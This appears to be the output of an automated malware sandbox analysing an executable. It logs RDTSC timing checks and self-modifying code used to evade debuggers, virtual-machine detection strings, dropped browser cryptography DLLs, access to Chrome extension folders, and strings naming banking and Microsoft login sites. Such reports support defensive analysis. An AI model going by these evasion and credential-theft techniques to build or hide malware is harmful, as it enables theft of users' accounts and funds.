Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E003CB second address: 4E003D1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E003D1 second address: 4E003D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E003D7 second address: 4E003DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E003DB second address: 4E003DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A79326 second address: A79330 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FFBAD1BEC36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A79330 second address: A7935B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFBACBC1547h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FFBACBC153Dh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7935B second address: A79361 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A79361 second address: A79365 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E0046C second address: 4E0047B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFBAD1BEC3Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E0047B second address: 4E004A8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFBACBC1549h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FFBACBC153Dh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E00606 second address: 4E0060C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E0060C second address: 4E00610 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E00610 second address: 4E00632 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 call 00007FFC1DCE2610h 0x0000000d push 759227D0h 0x00000012 push dword ptr fs:[00000000h] 0x00000019 mov eax, dword ptr [esp+10h] 0x0000001d mov dword ptr [esp+10h], ebp 0x00000021 lea ebp, dword ptr [esp+10h] 0x00000025 sub esp, eax 0x00000027 push ebx 0x00000028 push esi 0x00000029 push edi 0x0000002a mov eax, dword ptr [759B0140h] 0x0000002f xor dword ptr [ebp-04h], eax 0x00000032 xor eax, ebp 0x00000034 push eax 0x00000035 mov dword ptr [ebp-18h], esp 0x00000038 push dword ptr [ebp-08h] 0x0000003b mov eax, dword ptr [ebp-04h] 0x0000003e mov dword ptr [ebp-04h], FFFFFFFEh 0x00000045 mov dword ptr [ebp-08h], eax 0x00000048 lea eax, dword ptr [ebp-10h] 0x0000004b mov dword ptr fs:[00000000h], eax 0x00000051 ret 0x00000052 push eax 0x00000053 push edx 0x00000054 push eax 0x00000055 push edx 0x00000056 jmp 00007FFBAD1BEC41h 0x0000005b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E00632 second address: 4E00636 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E00636 second address: 4E0063C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E0063C second address: 4E00641 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E00641 second address: 4E0068F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 movzx esi, di 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a and dword ptr [ebp-04h], 00000000h 0x0000000e jmp 00007FFBAD1BEC3Bh 0x00000013 mov edx, dword ptr [ebp+0Ch] 0x00000016 pushad 0x00000017 pushfd 0x00000018 jmp 00007FFBAD1BEC44h 0x0000001d sbb ah, 00000038h 0x00000020 jmp 00007FFBAD1BEC3Bh 0x00000025 popfd 0x00000026 push ecx 0x00000027 mov dl, 8Eh 0x00000029 pop ecx 0x0000002a popad 0x0000002b mov esi, edx 0x0000002d push eax 0x0000002e push edx 0x0000002f push eax 0x00000030 push edx 0x00000031 pushad 0x00000032 popad 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E0068F second address: 4E006A7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFBACBC1544h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E006A7 second address: 4E006C1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov eax, ebx 0x00000005 movsx edi, cx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov al, byte ptr [edx] 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FFBAD1BEC3Bh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E006C1 second address: 4E006C1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, 2E7D251Ah 0x00000008 mov ebx, 0CB878E6h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 inc edx 0x00000011 jmp 00007FFBACBC153Dh 0x00000016 test al, al 0x00000018 pushad 0x00000019 mov cl, F5h 0x0000001b mov ebx, 377D7A9Ch 0x00000020 popad 0x00000021 jne 00007FFBACBC14F8h 0x00000027 mov al, byte ptr [edx] 0x00000029 push eax 0x0000002a push edx 0x0000002b jmp 00007FFBACBC153Bh 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E006F6 second address: 4E006FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E006FA second address: 4E00700 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E00700 second address: 4E00706 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E00706 second address: 4E0070A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E0070A second address: 4E00749 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 sub edx, esi 0x0000000a jmp 00007FFBAD1BEC3Ah 0x0000000f mov edi, dword ptr [ebp+08h] 0x00000012 jmp 00007FFBAD1BEC40h 0x00000017 dec edi 0x00000018 jmp 00007FFBAD1BEC40h 0x0000001d lea ebx, dword ptr [edi+01h] 0x00000020 pushad 0x00000021 push ecx 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E00749 second address: 4E0078A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 call 00007FFBACBC1548h 0x0000000a mov ecx, 0C22E6C1h 0x0000000f pop eax 0x00000010 popad 0x00000011 mov al, byte ptr [edi+01h] 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FFBACBC1548h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E0078A second address: 4E00790 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E00790 second address: 4E007AF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 inc edi 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FFBACBC1544h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E007AF second address: 4E007D6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bh, 2Bh 0x00000005 mov bl, ch 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a test al, al 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FFBAD1BEC47h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E007D6 second address: 4E007DC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E007DC second address: 4E008BC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFBAD1BEC44h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007FFC1DCD6EC1h 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007FFBAD1BEC3Eh 0x00000016 or esi, 7529C858h 0x0000001c jmp 00007FFBAD1BEC3Bh 0x00000021 popfd 0x00000022 pushfd 0x00000023 jmp 00007FFBAD1BEC48h 0x00000028 add esi, 79B052B8h 0x0000002e jmp 00007FFBAD1BEC3Bh 0x00000033 popfd 0x00000034 popad 0x00000035 mov ecx, edx 0x00000037 pushad 0x00000038 mov bx, cx 0x0000003b call 00007FFBAD1BEC40h 0x00000040 jmp 00007FFBAD1BEC42h 0x00000045 pop ecx 0x00000046 popad 0x00000047 shr ecx, 02h 0x0000004a pushad 0x0000004b pushfd 0x0000004c jmp 00007FFBAD1BEC3Ah 0x00000051 and si, 7778h 0x00000056 jmp 00007FFBAD1BEC3Bh 0x0000005b popfd 0x0000005c popad 0x0000005d rep movsd 0x0000005f rep movsd 0x00000061 rep movsd 0x00000063 rep movsd 0x00000065 rep movsd 0x00000067 jmp 00007FFBAD1BEC46h 0x0000006c mov ecx, edx 0x0000006e pushad 0x0000006f push eax 0x00000070 push edx 0x00000071 jmp 00007FFBAD1BEC3Ch 0x00000076 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E008BC second address: 4E008DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov esi, 47EE35DDh 0x0000000b popad 0x0000000c and ecx, 03h 0x0000000f pushad 0x00000010 mov bl, ch 0x00000012 mov cx, dx 0x00000015 popad 0x00000016 rep movsb 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b pushad 0x0000001c popad 0x0000001d push ecx 0x0000001e pop edi 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E008DC second address: 4E008EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FFBAD1BEC3Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E008EC second address: 4E00952 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [ebp-04h], FFFFFFFEh 0x0000000f jmp 00007FFBACBC1547h 0x00000014 mov eax, ebx 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 mov si, dx 0x0000001c pushfd 0x0000001d jmp 00007FFBACBC1547h 0x00000022 sbb si, 94BEh 0x00000027 jmp 00007FFBACBC1549h 0x0000002c popfd 0x0000002d popad 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E00952 second address: 4E00958 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E00958 second address: 4E0095C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E0095C second address: 4E009B6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFBAD1BEC43h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ecx, dword ptr [ebp-10h] 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 mov ax, dx 0x00000014 pushfd 0x00000015 jmp 00007FFBAD1BEC47h 0x0000001a sbb cx, 742Eh 0x0000001f jmp 00007FFBAD1BEC49h 0x00000024 popfd 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E009B6 second address: 4E009F8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FFBACBC1547h 0x00000008 jmp 00007FFBACBC1548h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov dword ptr fs:[00000000h], ecx 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E009F8 second address: 4E009FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E009FC second address: 4E00A19 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFBACBC1549h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E00A19 second address: 4E00A1F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E00A1F second address: 4E00A23 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E00A23 second address: 4E00A40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FFBAD1BEC42h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E00A40 second address: 4E00A52 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FFBACBC153Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E00A52 second address: 4E00A82 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFBAD1BEC3Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edi 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f mov esi, ebx 0x00000011 call 00007FFBAD1BEC47h 0x00000016 pop ecx 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E00A82 second address: 4E00AC4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx esi, bx 0x00000006 pushfd 0x00000007 jmp 00007FFBACBC1541h 0x0000000c xor ax, 49F6h 0x00000011 jmp 00007FFBACBC1541h 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a pop esi 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007FFBACBC153Dh 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E00AC4 second address: 4E00AD4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FFBAD1BEC3Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E00AD4 second address: 4E00B03 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFBACBC153Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ebx 0x0000000c jmp 00007FFBACBC1546h 0x00000011 leave 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E00B03 second address: 4E00B07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E00B07 second address: 4E00B0D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E00B0D second address: 4E00606 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushfd 0x00000006 jmp 00007FFBAD1BEC40h 0x0000000b sbb ch, 00000008h 0x0000000e jmp 00007FFBAD1BEC3Bh 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 retn 0008h 0x0000001a cmp dword ptr [ebp-2Ch], 10h 0x0000001e mov eax, dword ptr [ebp-40h] 0x00000021 jnc 00007FFBAD1BEC35h 0x00000023 push eax 0x00000024 lea edx, dword ptr [ebp-00000590h] 0x0000002a push edx 0x0000002b call esi 0x0000002d push 00000008h 0x0000002f jmp 00007FFBAD1BEC40h 0x00000034 push 1CD9031Dh 0x00000039 jmp 00007FFBAD1BEC41h 0x0000003e add dword ptr [esp], 58C0190Bh 0x00000045 push eax 0x00000046 push edx 0x00000047 jmp 00007FFBAD1BEC3Dh 0x0000004c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E00BEB second address: 4E00C7A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFBACBC1549h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007FFBACBC153Dh 0x00000012 sub cx, A7B6h 0x00000017 jmp 00007FFBACBC1541h 0x0000001c popfd 0x0000001d mov cx, 91A7h 0x00000021 popad 0x00000022 popad 0x00000023 xchg eax, ebp 0x00000024 jmp 00007FFBACBC1549h 0x00000029 mov ebp, esp 0x0000002b jmp 00007FFBACBC153Eh 0x00000030 pop ebp 0x00000031 push eax 0x00000032 push edx 0x00000033 jmp 00007FFBACBC1547h 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E00C7A second address: 4E00C92 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FFBAD1BEC44h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E00C92 second address: 4E00C96 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 8BFADD instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 8BF9F2 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: A6B613 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 8BD1AE instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: AFC7D2 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe	Window / User API: threadDelayed 1374
Source: C:\Windows\SysWOW64\cmd.exe	Window / User API: threadDelayed 2391

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\DocumentsBAECFHJEBA.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

API coverage: 0.8 %

Source: C:\Users\user\Desktop\file.exe TID: 1716	Thread sleep time: -40020s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 4208	Thread sleep count: 31 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 4208	Thread sleep time: -62031s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 2448	Thread sleep count: 38 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 2448	Thread sleep time: -76038s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6556	Thread sleep time: -32000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5084	Thread sleep time: -42021s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 2884	Thread sleep count: 32 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 2884	Thread sleep time: -64032s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C4EC930 GetSystemInfo,VirtualAlloc,GetSystemInfo,VirtualFree,VirtualAlloc,

0_2_6C4EC930

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: file.exe, 00000000.00000002.2582213624.0000000001033000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWpo
Source: file.exe, file.exe, 00000000.00000002.2581618911.0000000000A4B000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: GIJEBKEC.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: GIJEBKEC.0.dr	Binary or memory string: discord.comVMware20,11696428655f
Source: GIJEBKEC.0.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: GIJEBKEC.0.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: GIJEBKEC.0.dr	Binary or memory string: global block list test formVMware20,11696428655
Source: GIJEBKEC.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: file.exe, 00000000.00000002.2582213624.0000000001062000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: GIJEBKEC.0.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: GIJEBKEC.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: GIJEBKEC.0.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: file.exe, 00000000.00000002.2582213624.0000000000FEE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwarem
Source: GIJEBKEC.0.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: GIJEBKEC.0.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: GIJEBKEC.0.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: GIJEBKEC.0.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: GIJEBKEC.0.dr	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: GIJEBKEC.0.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: GIJEBKEC.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: GIJEBKEC.0.dr	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: GIJEBKEC.0.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: GIJEBKEC.0.dr	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: GIJEBKEC.0.dr	Binary or memory string: AMC password management pageVMware20,11696428655
Source: GIJEBKEC.0.dr	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: GIJEBKEC.0.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: GIJEBKEC.0.dr	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: GIJEBKEC.0.dr	Binary or memory string: interactivebrokers.comVMware20,11696428655
